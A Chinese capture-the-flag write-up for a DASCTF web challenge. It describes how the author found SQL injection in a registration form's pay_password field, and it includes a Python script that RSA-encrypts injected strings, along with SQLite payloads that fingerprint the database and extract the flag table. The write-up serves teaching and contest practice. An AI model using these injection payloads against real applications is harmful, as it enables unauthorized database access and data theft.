DASCTF 7月赛 - 安全,安全,还是xxx的安全(Writeup)

赛题分析

题目上来是买flag的，一开始我真的以为买flag给flag，联想到了逻辑漏洞，但是测试后发现线程十分安全(一旦多了就自断请求失败！)，直接又通过url联想到了flask的SSTI，但是测试了后username参数过滤很严格，emmm陷入了沉思

直到Hint放出来才知道是SQL注入，az！

CREATE TABLE "users" (
  "id" INTEGER NOT NULL,
  "username" TEXT UNIQUE ,
  "login_password" text,
  "money" INTEGER,
  "pay_password" TEXT,
  "flag_num" INTEGER,
  PRIMARY KEY ("id")
);


CREATE TABLE "flaaaaaaaaag" (
  "flllllllag" TEXT
);

接下来就是艰难的注入史，从登陆框的username和password开始日，再到购买flag时的pay_password，一直没结果，看了一下请求包，发现password和pay_password都是加密的，并且最开始的一层是MD5加密，直接麻了。傻子都知道MD5没法逆推得明文的，数据库应该是直接存MD5值的。然后无果了。。。就去读书了

结束了之后，听师傅们说好像是从注册功能的pay_password打的，观察了一下这个值是通过一层MD5加密、一层RSA加密以及一层BASE64完成的，并且右键查看源码可以获得RSA的公钥。

image-20210802001024185

既然MD5注入不了，那就从MD5和RSA中间注入了，写了下面这个脚本用来从MD5到RSA加密再到BASE64的

#-- coding:UTF-8 --

from Crypto.PublicKey import RSA as rsa
from Crypto.Cipher import PKCS1_v1_5
import base64

public_key = '''-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDK9H5CoNfCA0TR5e5w20Q9qmTW
3T1uWmLHmNu7id9VBsngYXbaNfcK01JK2NNLLQ74vbRTpnAFg05csCkUWnkloKKu
AZZEDxKaiZ6M4Vmy1BYae7lutS5uECYouZt+TveABrdM4pjPxBwoKpp+IJFeYsVX
UGzrDiFb40I47X6oRQIDAQAB
-----END PUBLIC KEY-----'''

def rsa_long_encrypt(pub_key_str, msg, length=100):
    """
    单次加密串的长度最大为 (key_size/8)-11
    1024bit的证书用100， 2048bit的证书用 200
    """
    pubobj = rsa.importKey(pub_key_str)
    pubobj = PKCS1_v1_5.new(pubobj)
    res = []
    for i in range(0, len(msg), length):
        res.append(pubobj.encrypt(msg[i:i+length]))
    return "".join(res)

if __name__ == "__main__":
    msg = "1263304a220b23ff58ff5639e34a306b',(select hex((select flllllllag from flaaaaaaaaag))))--+"
    enres = rsa_long_encrypt(public_key, msg, 65537)
    enbase64 = base64.b64encode(enres)
    print enbase64

这里的msg参数一开始1263304a220b23ff58ff5639e34a306b，接着改成了1263304a220b23ff58ff5639e34a306b')--+还是不行，在看Hint的时候发现，pay_password后面还有一个字段flag_num，于是改msg为1263304a220b23ff58ff5639e34a306b',1)--+，哦吼！成功了

image-20210802000954482

image-20210802000842867

锁定了注入点之后就好办了，本来是要构造1263304a220b23ff58ff5639e34a306b',if(1=1,1,0))--+这种bool盲注形式的(回显点在登录后的首页，如上图所示)，但是报错了。找了一圈是Sqlite数据库，这里判断数据库的方式是返回数据库版本信息的不同：如Mysql(version())、Sqlserver(@@VERSION)、Sqlite(sqlite_version())。

通过Payload：1263304a220b23ff58ff5639e34a306b',sqlite_version())--+，确定数据库的版本

image-20210802001928709

然后通过Hint知道了flag的表和列，可以直接获得flag，Payload为：1263304a220b23ff58ff5639e34a306b',(select hex((select flllllllag from flaaaaaaaaag))))--+

image-20210802002357938

这里本来是想用Bool盲注的，但是Sqlite的Bool盲注好难用，没搞明白，于是找了一种类似二次注入的方式。感觉题目本身不难，主要是小细节挺多的。

个人瞎猜

出现Hacker代表了SQL语句出错

注册

这里通过insert语句注入的，username这个参数因为在前面有进行select语句查询，所以不适合注入，但是password参数应该是可以注入的(不过测试的时候是失败的，哎不知道原因)，pay_password参数可以注入

登录

这里应该是通过username参数去数据库找到password的md5值，然后与传进来的进行对比，select语句虽然格式不固定，但是感觉可能也能做的

购买flag

这个地方应该是通过Cookie与数据库进行交互了，通过select语句拿到pay_password对比，然后用update语句修改数值，不过这里应该会对flag_num会化成整数，不宜注入

posted @ 2021-08-02 00:40  erR0Ratao  阅读(576)  评论(0)  编辑  收藏  举报